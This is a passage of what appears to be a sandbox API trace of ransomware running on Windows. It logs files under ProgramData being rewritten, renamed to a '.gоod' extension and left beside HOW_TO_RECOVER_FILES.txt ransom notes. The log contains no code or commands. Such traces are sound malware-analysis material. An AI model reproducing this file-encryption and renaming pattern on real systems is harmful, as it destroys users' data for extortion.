Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.912] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.912] GetFileType (hFile=0x7ac) returned 0x1 [0091.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.912] GetFileType (hFile=0x7ac) returned 0x1 [0091.912] WriteFile (in: hFile=0x7ac, lpBuffer=0x33fdd20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x33fdd20*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0091.912] CloseHandle (hObject=0x7ac) returned 1 [0091.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7a [0091.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0091.912] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x32fe1efc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc89c1)) returned 1 [0092.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0092.043] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.gоod")) returned 1 [0092.479] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0092.479] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x35963a0 | out: lpFileInformation=0x35963a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0092.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0092.479] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0092.479] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.480] GetFileType (hFile=0x768) returned 0x1 [0092.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0092.480] GetFileType (hFile=0x768) returned 0x1 [0092.480] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0092.480] ReadFile (in: hFile=0x768, lpBuffer=0x35968e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x35968e8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0092.481] CloseHandle (hObject=0x768) returned 1 [0092.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0092.482] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.482] GetFileType (hFile=0x768) returned 0x1 [0092.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0092.482] GetFileType (hFile=0x768) returned 0x1 [0092.482] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x25000 [0092.482] WriteFile (in: hFile=0x768, lpBuffer=0x3597c18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3597c18*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0092.482] CloseHandle (hObject=0x768) returned 1 [0092.482] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0092.482] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.483] GetFileType (hFile=0x768) returned 0x1 [0092.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0092.483] GetFileType (hFile=0x768) returned 0x1 [0092.483] ReadFile (in: hFile=0x768, lpBuffer=0x3599f70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x3599f70*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0092.511] CloseHandle (hObject=0x768) returned 1 [0092.511] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0092.511] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0092.512] GetFileType (hFile=0x768) returned 0x1 [0092.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0092.512] GetFileType (hFile=0x768) returned 0x1 [0092.512] WriteFile (in: hFile=0x768, lpBuffer=0x3598c30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3598c30*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0092.512] CloseHandle (hObject=0x768) returned 1 [0092.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpFilePart=0x0) returned 0x86 [0092.512] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod", lpFilePart=0x0) returned 0x8b [0092.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0092.512] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x335b187c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25010)) returned 1 [0092.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0092.512] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.gоod")) returned 1 [0092.513] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x85 [0092.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0092.513] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0092.729] GetFileType (hFile=0x7ac) returned 0x1 [0092.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0092.729] GetFileType (hFile=0x7ac) returned 0x1 [0093.221] WriteFile (in: hFile=0x7ac, lpBuffer=0x3532d38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x3532d38*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0093.222] CloseHandle (hObject=0x7ac) returned 1 [0093.222] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0093.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0093.222] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0093.223] GetFileType (hFile=0x7ac) returned 0x1 [0093.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0093.224] GetFileType (hFile=0x7ac) returned 0x1 [0093.225] WriteFile (in: hFile=0x7ac, lpBuffer=0x3536650*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3536650*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0093.226] CloseHandle (hObject=0x7ac) returned 1 [0093.226] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0093.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0093.227] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ac [0093.227] GetFileType (hFile=0x7ac) returned 0x1 [0093.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0093.227] GetFileType (hFile=0x7ac) returned 0x1 [0093.228] WriteFile (in: hFile=0x7ac, lpBuffer=0x3539f38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3539f38*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0093.231] CloseHandle (hObject=0x7ac) returned 1 [0093.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0093.231] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x43 [0093.231] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0093.231] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.231] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0093.232] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0093.232] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.232] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0093.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0093.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0093.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0093.232] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x43 [0093.232] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0093.232] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.232] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0093.241] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0093.241] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", 